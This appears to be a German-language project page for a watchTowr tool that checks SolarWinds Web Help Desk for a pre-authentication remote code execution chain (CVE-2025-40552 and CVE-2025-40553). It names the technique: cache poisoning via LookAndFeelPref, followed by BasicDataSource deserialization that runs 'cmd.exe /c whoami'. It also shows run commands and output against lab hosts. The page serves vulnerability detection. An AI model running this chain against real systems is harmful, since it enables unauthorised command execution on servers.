CVE-2025-40552 and CVE-2025-40553 SolarWinds Web Help Desk Pre-Auth RCE Chain

SolarWinds Web Help Desk Pre-Auth RCE Chain Detection Artifact Generator Tool

Beschreibung

Dieser Detection-Artifact-Generator überprüft, ob eine SolarWinds Web Help Desk-Instanz anfällig für CVE-2025-40552 und CVE-2025-40553 ist.

Der Detection-Artifact-Generator versucht zwei Vorgänge auszuführen:

Die Authentifizierung mit CVE-2025-40552 umgehen – diese Prüfung ist sehr genau.
Wenn das erfolgreich ist, versucht er, die CVE-2025-40553-RCE durch die Ausführung des Befehls cmd.exe /c whoami zu verifizieren – diese Prüfung ist nicht 100 % genau, da sie auf Fehlermeldungen basiert, die je nach Umgebung variieren können.

ACHTUNG – während des RCE-Tests erstellt das Skript die Tabelle SWWHDDAG<random_8_characters> in der Datenbank postgres.

Nach dem Test können Sie überprüfen, ob die Befehlsausgabe in der Datenbank vorhanden ist:

> SELECT * FROM public.swwhddagmm2t6t79

"output"
"nt authoritysystem"

Erkennung in Aktion

Test gegen eine anfällige Instanz:

$ python3 watchTowr-vs-SolarWinds-WebHelpDesk-CVE-2025-40552-CVE-2025-40553.py -H https://vulnerable.lab:8443
                         __         ___  ___________                   
         __  _  ______ _/  |__ ____ |  |_\__    ____\____  _  ________ 
         \ \/ \/ \__  \    ___/ ___\|  |  \|    | /  _ \ \/ \/ \_  __ \
          \     / / __ \|  | \  \___|   Y  |    |(  <_> \     / |  | \/
           \/\_/ (____  |__|  \___  |___|__|__  | \__  / \/\_/  |__|   
                                  \/          \/     \/                            
          
        watchTowr-vs-SolarWinds-WebHelpDesk-CVE-2025-40552-CVE-2025-40553.py
        (*) CVE-2025-40552 + CVE-2025-40553 Pre-Auth RCE Chain in SolarWinds Web Help Desk - Detection Artifact Generator

          - Piotr Bazydlo (@chudyPB) of watchTowr 

        CVEs: CVE-2025-40552 and CVE-2025-40553

[+] Testing CVE-2025-40552 Authentication Bypass
        [+] Triggering error and poisoning context cache with LookAndFeelPref
[+] VULNERABLE to CVE-2025-40552 Authentication Bypass
[+] Testing CVE-2025-40553 RCE
        [+] This stage will create SWWHDDAGp08zwfs6 DB table if successful
        [+] Verifying deserialization and serialization of org.apache.commons.dbcp2.BasicDataSource
[+] PROBABLY VULNERABLE: Connection validated and SQL queries can be executed
        [+] Executing "cmd.exe /c whoami" - verify locally if it worked

Test gegen eine nicht anfällige Instanz:

$ python3 watchTowr-vs-SolarWinds-WebHelpDesk-CVE-2025-40552-CVE-2025-40553.py -H https://notvulnerable.lab:8443
                         __         ___  ___________                   
         __  _  ______ _/  |__ ____ |  |_\__    ____\____  _  ________ 
         \ \/ \/ \__  \    ___/ ___\|  |  \|    | /  _ \ \/ \/ \_  __ \
          \     / / __ \|  | \  \___|   Y  |    |(  <_> \     / |  | \/
           \/\_/ (____  |__|  \___  |___|__|__  | \__  / \/\_/  |__|   
                                  \/          \/     \/                            
          
        watchTowr-vs-SolarWinds-WebHelpDesk-CVE-2025-40552-CVE-2025-40553.py
        (*) CVE-2025-40552 + CVE-2025-40553 Pre-Auth RCE Chain in SolarWinds Web Help Desk - Detection Artifact Generator

          - Piotr Bazydlo (@chudyPB) of watchTowr 

        CVEs: CVE-2025-40552 and CVE-2025-40553

[+] Testing CVE-2025-40552 Authentication Bypass
        [+] Triggering error and poisoning context cache with LookAndFeelPref
[-] NOT VULNERABLE to CVE-2025-40552, exiting

Betroffene Versionen

< SolarWinds Web Help Desk 2026.1

Referenzen: https://documentation.solarwinds.com/en/success_center/whd/content/release_notes/whd_2026-1_release_notes.htm

Folgen Sie watchTowr Labs

Für die neuesten Sicherheitsforschungen folgen Sie dem watchTowr Labs-Team

watchTowr-vs-SolarWinds-WebHelpDesk-CVE-2025-40552-CVE-2025-40553

Beliebteste

CVE-2025-40552 and CVE-2025-40553 SolarWinds Web Help Desk Pre-Auth RCE Chain

Beschreibung

Erkennung in Aktion

Betroffene Versionen

Folgen Sie watchTowr Labs